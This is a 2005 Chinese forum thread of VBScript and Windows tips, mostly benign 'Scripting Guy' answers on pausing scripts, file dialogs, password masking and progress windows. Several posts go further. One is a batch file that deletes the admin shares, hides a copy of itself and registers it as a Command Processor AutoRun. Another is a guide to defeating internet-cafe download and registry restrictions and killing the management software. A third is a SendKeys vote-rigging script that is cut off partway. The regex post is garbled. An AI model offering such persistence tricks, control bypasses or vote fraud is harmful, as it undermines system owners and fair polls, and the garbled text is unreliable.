那么,可能有某种笨一些的变通方法,可是我们绞尽脑汁也想不出一个法子。问题在于 Windows Script Host 不是设计作为一个以事件驱动的环境;换句话说,WSH 不知道如何等待某个事件(比如:按键盘上的键)的发生。加上与命令行交互的能力有限,因此只能得到无法实现暂停命令功能的脚本环境。

我们知道:这不是您真正希望得到的答案。而我们确实可以给您一个安慰奖。我们无法复制暂停命令(可让计算机等到您按了键盘上的任意键后再继续执行操作)。但是,我们可以给您一些代码,从而让计算机等到您按了键盘上的“ENTER”键后再继续执行操作(是的,必须是“ENTER”键)。这与您想要的并不完全相符,但却行得通:

strMessage = "Press the ENTER key to continue. "
Wscript.StdOut.Write strMessage

Do While Not WScript.StdIn.AtEndOfLine
 Input = WScript.StdIn.Read(1)
Loop
WScript.Echo “The script is complete.”

这个脚本所做的就是在屏幕上显示一条消息,然后使用 StdIn(仅包含在 WSH 5.6 中,这表示只有安装了 WSH 5.6 才可以运行该脚本)等待用户在命令行中输入数据。StdIn 将等待您按“ENTER”键;只要一按“ENTER”键,该脚本就将继续运行。如果按了“ENTER”键以外的其他键又会怎么样?没什么大不了:所按的任何其他键的值将显示在屏幕上。在最终按到“ENTER”键之前,脚本只会显示所按的任何其他键的值。那时,脚本会结束循环并继续运行。

假如您有疑惑,记得 StdIn 确实是使用命令行向脚本输入数据的一种方法。例如,您的脚本可能会提示您输入用户名或文件名。因此等您按“ENTER”键,作为指示数据输入完成的一种方法。否则,可能键入用户名的第一个字母时,StdIn 就会开始运行。“ENTER”是表示数据输入完成的官方信号。
   
  作者: 61.142.212.*  2005-10-19 23:08   回复此发言  
 
35 我如何向用户显示一个用来选择文件的对话框?
 
我如何向用户显示一个用来选择文件的对话框?
问:
嗨,Scripting Guy!有没有什么方法可以让我使用脚本向用户显示一个对话框,供用户选择文件使用?

-- BF

答:
您好,BF。如果您使用的是 Windows 2000,我们不知道实现此操作的方法,至少操作系统中没有内置这样的方法。但如果您使用的是 Windows XP,情况就不同了。在 Windows XP 上,您可以使用“UserAccounts.CommonDialog”对象向用户显示一个标准的“文件打开”对话框。可以用类似以下代码的脚本:

Set objDialog = CreateObject("UserAccounts.CommonDialog")

objDialog.Filter = "All Files|*.*" objDialog.InitialDir = "C:/" intResult = objDialog.ShowOpen
 
If intResult = 0 Then Wscript.Quit Else Wscript.Echo objDialog.FileName End If 
这是一个小脚本,所以让我们逐行进行解释吧。我们首先创建一个对 UserAccounts.CommonDialog 对象的对象引用(名为“objDialog”)。接着,我们设置对话框的“筛选”属性。我们要显示所有文件,所以我们将筛选设置成这样:

objDialog.Filter = "All Files|*.*" 
假如我们只想显示文本文件,那该怎么办?在这种情况下,我们将使用以下筛选:

objDialog.Filter = "Text Files|*.txt" 
您也许能够看出它是如何运行的:我们为文件类型提供说明 (Text Files),然后插入一个竖线分隔符 (|),最后使用标准的通配符来指示所有 .txt 文件 (*.txt)。是不是想默认显示 .txt 文件,然后为用户提供查看所有文件的选项?那么可以使用以下代码:

objDialog.Filter = "Text Files|*.txt|All Files|*.*" 
试一试,您就明白我们的意思了。

然后,我们指定默认文件夹。默认情况下,我们希望对话框显示位于驱动器 C 的根文件夹中的文件,所以我们这样设置“InitialDir”属性:

objDialog.InitialDir = "C:/" 
希望显示 C:/Windows 文件夹中的文件吗?那么可以使用以下代码:

objDialog.InitialDir = "C:/Windows" 
不必担心:这是一个真正的“文件打开”对话框,所以您可以随意单击,并且可以随时停下来。您从 C:/Windows 开始并不意味着您只能打开该文件夹中的文件。

最后,我们使用下面这行代码显示对话框:

intResult = objDialog.ShowOpen 
现在,我们只需坐下来,等待用户选择文件并单击“确定”(或者等待用户单击“取消”)。如果用户单击“取消”,则变量 intResult 将被设置为 0。在我们的脚本中,我们检查 intResult 的值,如果是 0,我们将只需要使用 Wscript.Quit 来终止此脚本。

但是如果用户实际上选择了文件并单击了“确定”,那该怎么办?在这种情况下,intResult 将被设置为 -1,“FileDialog”属性将被设置为所选文件的路径名。我们的脚本只回显路径名,这意味着我们将得到类似以下内容的输出:

C:/WINDOWS/Prairie Wind.bmp 
不用说,您并不局限于只回显文件路径。实际上,您可以使用 WMI、FileSystemObject 或一些其他技术来绑定该文件,然后对其执行删除、复制、压缩或检索文件属性等操作 — 您对文件能够执行的操作差不多都可以对它执行。

但无论如何,您都需要使用脚本。

顺便说一句,使用此方法,您一次只能选择一个文件,而不能按住“Ctrl”键选择多个文件。有一种方法可以选择多个文件,至少在 XP 计算机上可以,但是我们只能将此问题留到以后的专栏中讨论了。
   
  作者: 61.142.212.*  2005-10-19 23:08   回复此发言  
 
36 如何使用 InputBox 来屏蔽密码?
 
如何使用 InputBox 来屏蔽密码?
问:
您好,脚本专家!如何使用 InputBox 来屏蔽密码?

-- PG

答:
你好,PG。如果您希望使用 WSH 或 VBScript 内置函数或方法来屏蔽密码,恐怕要让您失望了,这两种技术都不支持密码屏蔽。这并不是说无法做到密码屏蔽,而是必须寻找核心脚本技术以外的方法。

如果运行的是 Windows XP 或 Windows Server 2003,您可以使用“ScriptPW”(仅在这两个 Windows 版本中提供的一种 COM 对象)通过命令行来屏蔽密码。以下是一个示例脚本,它创建一个 ScriptPW.Password 对象实例,然后使用 StdOut Write 方法要求用户输入密码:

Set objPassword = CreateObject("ScriptPW.Password") 
WScript.StdOut.Write "Please enter your password:" 

strPassword = objPassword.GetPassword() 
Wscript.Echo
Wscript.Echo "Your password is: " & strPassword

运行该脚本时,屏幕上会显示消息“Please enter your password:”。此时脚本将暂停,等待您键入密码;您只需键入密码,然后按 Enter 键即可。下面这行代码将获取密码,并将其存储在变量 strPassword 中:

strPassword = objPassword.GetPassword()

对于这个简单脚本,我们只回显键入的密码以证明确实捕获到了击键。我们这样编写脚本是因为,在使用 ScriptPW 和 GetPassword() 方法时,键入的击键并不显示在屏幕上。换言之,密码被屏蔽了。

当然,如果运行的是 Windows XP 或 Windows Server 2003,这种方法效果非常好;但如果运行的是 Windows 2000,该怎么办呢?如何屏蔽密码呢?

有人可能认为会比较费事,但实际上您可以调用 Web 页,并使用 HTML 密码框来屏蔽密码。本专栏并不是专门探讨 HTML 标记的地方,因此,我们不会详细说明它的全部实现方式。我们只想告诉您需要执行的两项操作。 

第一项操作是将以下内容保存为 C:/Scripts/Password.htm(是的,我们要将其保存为 HTML 页):

<SCRIPT LANGUAGE="VBScript">

Sub RunScript
 OKClicked.Value = "OK"
End Sub

Sub CancelScript
 OKClicked.Value = "Cancelled"
End Sub

</SCRIPT>

<BODY>
<font size="2" face="Arial">
Password:    </font><font face="Arial">
<input type="password" name="UserPassword" size="40"></font></p>

<input type="hidden" name="OKClicked" size = "20">

<input id=runbutton class="button" type="button" value=" OK " 
name="ok_button" onClick="RunScript">
   
<input id=runbutton class="button" type="button" value="Cancel" 
name="cancel_button" onClick="CancelScript">

</BODY>

第二项操作是将以下代码保存为 .vbs 文件(例如,Password.vbs):

On Error Resume Next

Set objExplorer = WScript.CreateObject _
 ("InternetExplorer.Application", "IE_")

objExplorer.Navigate "file:///C:/Scripts/password.htm" 
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Width = 400
objExplorer.Height = 350 
objExplorer.Left = 300
objExplorer.Top = 200
objExplorer.Visible = 1 

Do While (objExplorer.Document.Body.All.OKClicked.Value = "")
 Wscript.Sleep 250 
Loop 

strPassword = objExplorer.Document.Body.All.UserPassword.Value
strButton = objExplorer.Document.Body.All.OKClicked.Value
objExplorer.Quit
Wscript.Sleep 250

If strButton = "Cancelled" Then
 Wscript.Quit
Else
 Wscript.Echo strPassword
End If

那么,接下来该做什么呢?启动 Password.vbs。在执行此操作时,屏幕上会弹出一个带有密码框的 Web 页。如果键入密码并单击“OK”,所键入的密码将回显在屏幕上(同样只是为了说明确实捕获到了键入的密码)。如果单击“Cancel”,脚本将会结束执行。

如果要查找一些使用 ScriptPW 和 HTML 密码框的更实用示例,“脚本中心”的远程/多计算机模板也许可以满足您的需要。其中的示例脚本并不仅限于回显您输入的密码,它们还会捕获这些密码,然后使用 WMI 的 ConnectServer 方法或 ADSI 的 OpenDSObject 方法安全地连接到远程计算机。
   
  作者: 61.142.212.*  2005-10-19 23:08   回复此发言  
 
37 如何在脚本运行的时候显示进度栏(或其他类似项)?
 
如何在脚本运行的时候显示进度栏(或其他类似项)?
问:
您好,脚本专家!在代码执行时如何使脚本执行一些有趣的操作?如何显示进度栏或其他类似项?

-- HD

答:
您好,HD。首先,我们建议您不要尝试使用真正的进度栏;因为它很难计算进度,更不要说显示进度了。我们都熟悉那些所谓的进度栏 – 唉,Microsoft 的产品中也包含一些,有些进度栏会指示完成某项操作的预计时间是 3 分钟,然后是 296 分钟,1 分钟,14 分钟。我们不想为这样的东西浪费时间。

我们建议您尝试一个简单的小对话框(或者至少是看起来类似于对话框的东西),它只是用来通知用户一些操作正在进行并请用户耐心等待。当操作完成时,我们的示例对话框会相应地显示一条提示消息,然后消失。它没有什么奇特之处,但的确很实用。

代码如下:

On Error Resume Next

Set objExplorer = CreateObject _
 ("InternetExplorer.Application")

objExplorer.Navigate "about:blank" 
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Width = 400
objExplorer.Height = 200 
objExplorer.Visible = 1 

objExplorer.Document.Title = "Logon script in progress"
objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _
 & "This might take several minutes to complete."

Wscript.Sleep 10000

objExplorer.Document.Body.InnerHTML = "Your logon script is now complete."

Wscript.Sleep 5000
objExplorer.Quit

我们在此进行的所有操作就是创建 Internet Explorer 的一个实例,然后使用以下这行代码在浏览器窗口中打开一个空白页面:

objExplorer.Navigate "about:blank"

去除工具栏和状态栏(通过将这些值设置为 0),然后将窗口大小分别设置为 400 像素和 200 像素。然后,我们将 Visible 属性设置为 1,其在屏幕上实际显示小的 Internet Explorer 窗口。纯粹是为了进行演示,我们使用下面这行代码配置窗口的 Title 属性:

objExplorer.Document.Title = "Logon script in progress"

最终结果是什么呢?结果是这个样子:


对于其本身来说已经很好了,但是我们或许还可以做得更好一点儿:首先,我们可以在 Internet Explorer 文档中显示自定义消息。为此,我们应设置文档正文的 InnerHTML 属性:

objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _
 & "This might take several minutes to complete."

这段代码的好处是:在将值分配给 InnerHTML 属性时,我们可以使用所有我们喜欢的 HTML 标记。例如,假设我们希望用粗体显示此消息。在这种情况下,我们只需使用 <B> 和 </B> 标记即可:

objExplorer.Document.Body.InnerHTML = "<B>Your logon script is being processed. " _
 & "This might take several minutes to complete.</B>"

设置了 InnerHTML 属性之后,我们就得到与以下类似的 Internet Explorer 实例:


还不错吧?在示例脚本中,我们暂停 10 秒,然后用一条新消息替代旧消息,新消息会通知用户他们的登录脚本已经完成。我们再暂停 5 秒,然后消除 Internet Explorer 的实例。

如果您希望更加别致一些,您可以再进行几项操作。在即将展示给您的经修订的脚本中,我们使用 WMI 类 Win32_DesktopMonitor 来确定当前的视频分辨率(如 1024x768)。然后,我们使用一些简单的数学方法将 IE 窗口定位在屏幕的中间。例如,如果我们的屏幕宽度为 1024 像素,则应从 1024 中减去 400(Internet Explorer 窗口的宽度)。用这个数字除以 2,就得出了窗口左侧的像素位置。对显示高度 (768) 重复此操作可以得到窗口顶部的像素位置,从而使对话框在屏幕上居中显示。以下是用于获取屏幕宽度和高度的代码:
   
  作者: 61.142.212.*  2005-10-19 23:09   回复此发言  
 
38 如何在脚本运行的时候显示进度栏(或其他类似项)?
 

strComputer = "."
Set objWMIService = GetObject("Winmgmts://" & strComputer & "/root/cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_DesktopMonitor")
For Each objItem in colItems
 intHorizontal = objItem.ScreenWidth
 intVertical = objItem.ScreenHeight
Next

此处还有两行代码,可将窗口定位在屏幕上:

objExplorer.Left = (intHorizontal - 400) / 2
objExplorer.Top = (intVertical - 200) / 2

附注。上述代码事实上适用于只具有单个监视器的计算机;在具有多个监视器的系统上,特别是在这些监视器的其中一个关闭时,情况将变得有点复杂。现在,我们假设只有一个监视器;有关多个监视器的问题我们将在后面进行处理。
 

除了将 Internet Explorer 窗口居中之外,我们还将光标设置为沙漏时需来强调这样一个事实:用户需要等待一会儿。可使用以下这行代码来执行该操作:

objExplorer.Document.Body.Style.Cursor = "wait"

在脚本中后面的部分,我们将光标设置为默认,这样可消除沙漏,使光标重新变为标准的箭头光标。

修改后的新脚本如下所示:

On Error Resume Next

strComputer = "."
Set objWMIService = GetObject("Winmgmts://" & strComputer & "/root/cimv2")
Set colItems = objWMIService.ExecQuery("Select * From Win32_DesktopMonitor")
For Each objItem in colItems
 intHorizontal = objItem.ScreenWidth
 intVertical = objItem.ScreenHeight
Next

Set objExplorer = CreateObject _
 ("InternetExplorer.Application")

objExplorer.Navigate "about:blank" 
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Left = (intHorizontal - 400) / 2
objExplorer.Top = (intVertical - 200) / 2
objExplorer.Width = 400
objExplorer.Height = 200 
objExplorer.Visible = 1 

objExplorer.Document.Body.Style.Cursor = "wait"

objExplorer.Document.Title = "Logon script in progress"
objExplorer.Document.Body.InnerHTML = "Your logon script is being processed. " _
 & "This might take several minutes to complete."

Wscript.Sleep 10000

objExplorer.Document.Body.InnerHTML = "Your logon script is now complete."

objExplorer.Document.Body.Style.Cursor = "default"

Wscript.Sleep 5000

objExplorer.Quit

您还觉得不够别致吗?好吧,另一个增添花样的方法就是在您的 InnerHTML 中使用 .GIF 动画。例如,下面这行代码除显示一条消息之外,还显示一个 .GIF 动画:

objExplorer.Document.Title = "Logon script in progress"
objExplorer.Document.Body.InnerHTML = "<img src='file:///C:/Scripts/watch.gif'> " & _
 "Your logon script is being processed. This might take several minutes to complete."

最终结果为:


这可能称不上艺术品,但我们认为绝对可以说这是“在代码执行时执行一些有趣的操作”。另外,请记住,您可以更改图片的对齐方式,还可以更改字体的大小和颜色 -- 您可以进行任何 HTML 允许您进行的操作。

附注。若想在代码执行时进行一些真正有趣的操作,请访问 Dr. Scripto’s Fun Zone(Dr. Scripto 的乐园),学习如何在您的脚本中结合使用 Microsoft 代理技术。
   
  作者: 61.142.212.*  2005-10-19 23:09   回复此发言  
 
39 使用 Internet Explorer 跟踪脚本进程
 
使用 Internet Explorer 跟踪脚本进程

描述

演示如何将 Internet Explorer 作为一种指示脚本进程的方法。

脚本代码

Set objExplorer = WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate "about:blank" 
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Width=400
objExplorer.Height = 200 
objExplorer.Left = 0
objExplorer.Top = 0
Do While (objExplorer.Busy)
 Wscript.Sleep 200
Loop 
objExplorer.Visible = 1 
objExplorer.Document.Body.InnerHTML = "Retrieving service information. " _
 & "This might take several minutes to complete."
strComputer = "."
Set colServices = GetObject("winmgmts:" _
 & "{impersonationLevel=impersonate}!//" & strComputer & "/root/cimv2").ExecQuery _
 ("Select * from Win32_Service")
For Each objService in colServices
 Wscript.Sleep 200
Next
objExplorer.Document.Body.InnerHTML = "Service information retrieved."
Wscript.Sleep 3000
Wscript.Quit

有关在线支持,加入 msnews.microsoft.com news 服务器上的microsoft.public.windows.server.scripting 社区。要提供反馈或者报告脚本示例或《Scripting Guide》中的错误,请与 Microsoft TechNet联系。

免费声明

以上示例脚本不会获得由任何Microsoft标准支持计划或服务项目所提供的支持。这些示例脚本在提交时并未附带任何形式的保证承诺。不仅如此,Microsoft公司还不加限定条件地针对所有默许保证责任加以进一步否认,这其中便包括出于特定目的而针对适销性或适用性所承担的默许保证责任。因使用或执行上述示例脚本及文档资料而导致的全部风险均由读者自行承担。在任何情况下,Microsoft公司及其创作人员、亦或与上述脚本的创意、编制及提交有关的任何人员均无须针对因使用或无法使用上述示例脚本或文档资料所导致的任何损害(其中包括,企业利润损失、经营中断、业务信息丢失及其它经济损失)承担责任;即使Microsoft公司已被告知造成这种损害可能性,上述免责条款依然适用。
   
  作者: 61.142.212.*  2005-10-19 23:14   回复此发言  
 
40 创建 Internet Explorer 的实例
 
创建 Internet Explorer 的实例

描述

演示如何通过脚本创建以空白页打开的 Internet Explorer 的实例。

脚本代码

Set objExplorer = WScript.CreateObject("InternetExplorer.Application")
objExplorer.Navigate "about:blank" 
objExplorer.ToolBar = 0
objExplorer.StatusBar = 0
objExplorer.Width=300
objExplorer.Height = 150 
objExplorer.Left = 0
objExplorer.Top = 0
objExplorer.Visible = 1

有关在线支持,加入 msnews.microsoft.com news 服务器上的microsoft.public.windows.server.scripting 社区。要提供反馈或者报告脚本示例或《Scripting Guide》中的错误,请与 Microsoft TechNet联系。

免费声明

以上示例脚本不会获得由任何Microsoft标准支持计划或服务项目所提供的支持。这些示例脚本在提交时并未附带任何形式的保证承诺。不仅如此,Microsoft公司还不加限定条件地针对所有默许保证责任加以进一步否认,这其中便包括出于特定目的而针对适销性或适用性所承担的默许保证责任。因使用或执行上述示例脚本及文档资料而导致的全部风险均由读者自行承担。在任何情况下,Microsoft公司及其创作人员、亦或与上述脚本的创意、编制及提交有关的任何人员均无须针对因使用或无法使用上述示例脚本或文档资料所导致的任何损害(其中包括,企业利润损失、经营中断、业务信息丢失及其它经济损失)承担责任;即使Microsoft公司已被告知造成这种损害可能性,上述免责条款依然适用。
   
  作者: 61.142.212.*  2005-10-19 23:14   回复此发言  
 
41 结束进程和重新启动的vbs脚本
 
按照提示存为t.vbs文件,在cmd窗口中输入cscript t.vbs [参数]就可以了。
如果想移植到vb下,把wscript.echo替换成debug.pring或者其他的输出函数就可以了

'function: 
' list all process or kill one of them
'parameter: 
NameorPID process's name or pid
'return: 
' true if kill one process, else false
Function KillProcess(NameorPID)
 Dim oWMI, oProcs, oProc, strSQL
 KillProcess = False
 strSQL = "SELECT * FROM Win32_Process"
 If NameOrPID <> "" Then
 If IsNumeric(NameOrPID) Then
 strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"
 Else
 strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"
 End If
 End If
 Set oWMI = GetObject("winmgmts://./root/cimv2")
 Set oProcs = oWMI.ExecQuery(strSQL)
 For Each oProc In oProcs
 If IsNumeric(NameOrPID) Then
 oProc.Terminate
 WScript.Echo oProc.Name & "(" & oProc.Handle & ") was killed!"
 KillProcess = True
 Else
 WScript.Echo "Name: " & oProc.Name & vbTab & "PID: " & oProc.Handle & _
 vbCrLf & vbTab & "Path: " & oProc.ExecutablePath
 End If
 Next
 Set oProc = Nothing
 Set oProcs = Nothing
 Set oWMI = Nothing
End Function

'function: 
' reboot or shutdown operating system
'parameter: 
' RorS "r"=reboot, "s" or others="shutdown"
'return: 
' none
Function Reboot(RorS)
 Dim oWMI, oSys, oOpSys
 Set oWMI = GetObject("winmgmts:{(shutdown)}!//./root/cimv2")
 Set oOpSys = oWMI.ExecQuery("SELECT * FROM Win32_OperatingSystem")
 For Each oSys In oOpSys
 If Instr(LCase(RebootOrShut),"r") > 0 Then
 WScript.Echo "Reboot..."
 oSys.Reboot
 Else
 WScript.Echo "Shuting down..."
 oSys.Shutdown
 End If
 Next
 Set oOpSys = Nothing
 Set oSys = Nothing
 Set oWMI = Nothing
End Function
   
  作者: 61.142.212.*  2005-10-20 22:35   回复此发言  
 
42 一个改变cmd界面的批处理文件
 
@echo off
@net share ipc$ /del
@net share admin$ /del
@net share c$ /del
@net share d$ /del
@net share e$ /del
@net share f$ /del
@doskey ls=dir
@doskey pwd=cd
@copy /y sgi.bat %windir%/sgi.bat
@attrib +r +s +h %windir%/sgi.bat
@echo set a=createobject("wscript.shell") >> sgl.vbs
@echo a.RegWrite "HKLM/Software/Microsoft/Command Processor/AutoRun", "%systemroot%/sgi.bat", "REG_SZ" >>sgl.vbs
@sgl.vbs
@del sgl.vbs
@del sgi.bat
@cls
@echo // //
@echo / / / /
@echo / /__ ___ / /_ 
@echo / /_ / // // / /_/ 
@echo W.Z.T /_/ /_/ /_/@@ //_ /_/ /_/ NEVER STOP,JUST GO AHEAD11
@cd/
@d:
@echo ==============
Prompt [JUST FOR FUN]#
   
  作者: 61.142.212.*  2005-10-20 22:36   回复此发言  
 
43 网吧禁止下载破解大法!
 
在网吧上网时,发现自己没有下载的权限的确是一件很老火的事!!所以现在我就来说说破解的方法吧!
方法一:
现在许多网吧禁止下载,我就讲讲我在的网吧的限制情况。 
1:禁止右键 
2:禁止ie属性 
3:禁止访问硬盘 
4:禁止搜索和f3按键 
5:禁止下载(是通过ie禁止的) 
我是这样做的。首先打开一个网页然后点“文件”按键--“打开”输入“c://”以web方式打开。 ok进入了c:盘,然后进入windows//system//下找到inetcpl.cpl这个文件。(注意如果是隐藏扩 展 名就只显示inetcpl哦)双击它。ok,ie属性出来了。然后到“安全”自定义找到文件下载点启 用。ok!!搞定 
-----------------------------------------------------------------
方法二:
 右键点击“internet属性”--》“安全”--》“自定义级别”--》“下载”然后选允许下载就ok啦。
如果我们右点击不到ie属性,可以inetcpl.cpl文件被删,恢复就可以啦,现在我需用到[c://windows//system//sfc.exe]系统文件恢复器!
第一步:输入要恢复的文件inetcpl.cpl 
第二步:还原自输入(e://tools//win98)win98的安装文件目录,这是我电脑的win98目录。
你输入时要变成自己的。 
第三步:文件保存至c://windows//system 
ok,完全,这时你又可以打开ie属性啦!:) 
-----------------------------------------------------------------
方法三:
 你在启动->运行->regedit
hkey_current_user//software//microsoft//windows//currentversion//internet settings//zones//3在右侧的窗口中双击名称为1803的双字节键值项,并调协值为0就行啦..
如果不行的话那装上面的地址保存成*.reg,这样再打开它自己注册到注册表里去. 
-----------------------------------------------------------------
方法四:
 如果是注册表被禁用的话!
 那么就必须自己写一个注册表文件,当然去有的网站也是可以的!但是许多网站是不安全的!再说网站并非会针对某个问题!
 所以最好的方法就是好好学习,所有的事情都diy。这样最好不过!
 要使注册表能够使用,首先要编写一个注册表文件,但格式很重要。针对不同的计算机系统,文件的格式是不同的。对于2000来说,在记事本里输入
 regedit4
 
[hkey_current_user|software|microsoft|windows|currentversion|policies|system]
"disableregistrytools"=dword:00000000
 保存时,把保存类型设为“所有文件”,上边的文件名可以任意输入,但后缀必须是“.reg"。这样得到的文件才是注册表文件。
-----------------------------------------------------------------
方法五:
网吧一般限制internet控制面板的使用。 
情况是:通过浏览器的菜单栏 工具/internet选项已无法打开。 
出现下面的信息:
/Article/UploadFiles/200510/20051015141107244.gif
internet控制面板作用:可以设置代理服务器、删除历史记录、密码、设置允许下载等等 
在网吧上网internet控制面板应该常用到,所以要设法打开它。 
 一般是进入c://windows//system//,点击“显示文件”,找到 inetcpl.cpl打开。如果是inetcpl.cpp,则 将这个文件改成inetcpl.cpl,就可以打开internet控制面板了。 
 
 由于某些网管软件如pubwin4隐藏c盘中文件,所以想进入c://windows//system//找inetcpl.cpl 是不行了。 
可以用下面的绕过法(不破坏管理软件)。 

1。选种桌面 internet浏览器图标 同时按alt键和回车键 

2.打开浏览器 菜单栏 帮助/目录和索引/选项/internet选项 (今天偶然发现) 

3。在可读写的磁盘上(d.e)或者桌面创建一个快捷方式,输入命令c://windows//system//inetcpl.cpl 执行此快捷方式就可打开。 

4。进入我的电脑,打开控制面板,再打开internet面板 
或者从这里进入http://www.freewebz.com/aboat/pomianban.htm 

5。打开浏览器,菜单栏文件/打开,输入inetcpl.cpl,同时取消以web文件夹方式打开前面的勾号,确定即可。 

6.进入我的电脑,从地址栏中选择桌面,选择internet exploer浏览器图标(注:应是程序,快捷方式不行),选择工具栏属性或者菜单栏文件/属性,就可打开控制面板 

7.下载一个inetcpl.cpl, 
 inetcpl.cpl控制面板下载 

8.在可读写的磁盘上(d.e)或者桌面新建一个文本文件(如果右键被屏蔽,可以选择菜单文件/新建/文本文档),在记事本中输入copy c://windows//system//inetcpl.cpl e: 然后另存open.bat执行它,就会在e盘上复制出一个inetcpl.cpl(internet控制面板),这样,也可以使用它 了。 

9。下在一个超级兔子魔法设置,用它也可以打开控制面板。 

当然最狠最彻底的方法是用进程管理软件结束网管进程,或不启动网管(通过msconfig.exe设置),可以用超级兔子魔法设置这个软件。
   
  作者: 61.142.212.*  2005-10-20 22:39   回复此发言  
 
44 常用的正则表达式
 
常用的正则表达式及符号诠释在脚本程序的写作中,正则表达式是经常用到的,但是正则表达式书写困难,可读性很差也是大家所知道的,今天写email的正则表达式时,由于经常写不对,后来决定gg一下,看看网上有没有现成的,结果发现网上已经提供了很多的常用的正则表达式了,不需要自己写的,而且应该是验证过的吧。Q%"Fgh
©51论坛 --   %x
匹配中文字符的正则表达式: [u4e00-u9fa5]nJ
匹配双字节字符(包括汉字在内):[^x00-xff]<
匹配空行的正则表达式:n[s| ]*r9A?w/,
匹配HTML标记的正则表达式:/<(.*)>.*|<(.*) />/J
匹配首尾空格的正则表达式:(^s*)|(s*$)ogRUJ8
匹配Email地址的正则表达式:w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*A$:F,_
©51论坛 --   L,
匹配网址URL的正则表达式:^[a-zA-z]+://(w+(-w+)*)(.(w+(-w+)*))*(?S*)?$U
匹配帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线):^[a-zA-Z][a-zA-Z0-9_]{4,15}$/
匹配国内电话号码:(d{3}-|d{4}-)?(d{8}|d{7})?3Vi
匹配腾讯QQ号:^[1-9]*[1-9][0-9]*$"c
©51论坛 --   /
下表是元字符及其在正则表达式上下文中的行为的一个完整列表: 将下一个字符标记为一个特殊字符、或一个原义字符、或一个后向引用、或一个八进制转义符。_
©51论坛 --   Q4D
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的Multiline 属性,^ 也匹配 ’n’ 或 ’r’ 之后的位置。 $ 匹配输入字符串的结束位置。如果设置了 RegExp 对象的Multiline 属性,$ 也匹配 ’n’ 或 ’r’ 之前的位置。 * 匹配前面的子表达式零次或多次。 + 匹配前面的子表达式一次或多次。+ 等价于 {1,}。 ? 匹配前面的子表达式零次或一次。? 等价于 {0,1}。 {n} n 是一个非负整数,匹配确定的n 次。?
©51论坛 --   92,EY
{n,} n 是一个非负整数,至少匹配n 次。 {n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。在逗号和两个数之间不能有空格。i5[d
©51论坛 --   ^)~//G
? 当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。 . 匹配除 "n" 之外的任何单个字符。要匹配包括 ’n’ 在内的任何字符,请使用象 ’[.n]’ 的模式。 (pattern) 匹配pattern 并获取这一匹配。 (?:pattern) 匹配pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。 (?=pattern) 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。 (?!pattern) 负向预查,与(?=pattern)作用相反 x|y 匹配 x 或 y。 [xyz] 字符集合。 [^xyz] 负值字符集合。 [a-z] 字符范围,匹配指定范围内的任意字符。 [^a-z] 负值字符范围,匹配任何不在指定范围内的任意字符。 b 匹配一个单词边界,也就是指单词和空格间的位置。8:Ba
©51论坛 --   p-
B 匹配非单词边界。 cx 匹配由x指明的控制字符。 d 匹配一个数字字符。等价于 [0-9]。 D 匹配一个非数字字符。等价于 [^0-9]。 f 匹配一个换页符。等价于 x0c 和 cL。 n 匹配一个换行符。等价于 x0a 和 cJ。 r 匹配一个回车符。等价于 x0d 和 cM。 s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ fnrtv]。 S 匹配任何非空白字符。等价于 [^ fnrtv]。 t 匹配一个制表符。等价于 x09 和 cI。 v 匹配一个垂直制表符。等价于 x0b 和 cK。 w 匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’。 W 匹配任何非单词字符。等价于 ’[^A-Za-z0-9_]’。 xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。e
©51论坛 --   )8ne
num 匹配 num,其中num是一个正整数。对所获取的匹配的引用。 n 标识一个八进制转义值或一个后向引用。如果 n 之前至少 n 个获取的子表达式,则 n 为后向引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。 nm 标识一个八进制转义值或一个后向引用。如果 nm 之前至少有is preceded by at least nm 个获取得子表达式,则 nm 为后向引用。如果 nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的后向引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 nm 将匹配八进制转义值 nm。 nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。 un 匹配 n,其中 n 是一个用四个十六进制数字表示的Unicode字符。dP"R
   
  作者: 61.142.212.*  2005-10-20 23:29   回复此发言  
 
45 造假听我的
 
Const wshYes = 6 
Const wshNo = 7 
Const wshYesNoDialog = 4 
Const wshQuestionMark = 32 

Set WshShell = WScript.CreateObject("WScript.Shell") 
num = Inputbox("请输入您要投票的次数[初次使用请不要设置太大,不要超过20]:","默认为5次","5")
times = Inputbox("请输入您要间隔多少秒投票一次[单位是秒]:","默认为5秒","5")


if num>10 Then
intReturn =WshShell.Popup("如果您的数值设置过大,出错了只能通过Ctrl+AlT+Del终止它,它的进程名为:Wscript.exe;你要设置这么大的数值吗?", _ 
 10, "小鸽子温馨提示", wshYesNoDialog + wshQuestionMark)
else
qq=106456213
end if
If intReturn = wshYes or qq=106456213 Then

WshShell.AppActivate "Internet Explorer" 
WshShell.SendKeys "{F6}"
WScript.Sleep 100
WshShell.SendKeys "http(+;)//"
WScript.Sleep 100
WshShell.SendKeys "www."
WScript.Sleep 100
WshShell.SendKeys "sxtvs."
WScript.Sleep 100
WshShell.SendKeys "com/"
WScript.Sleep 100
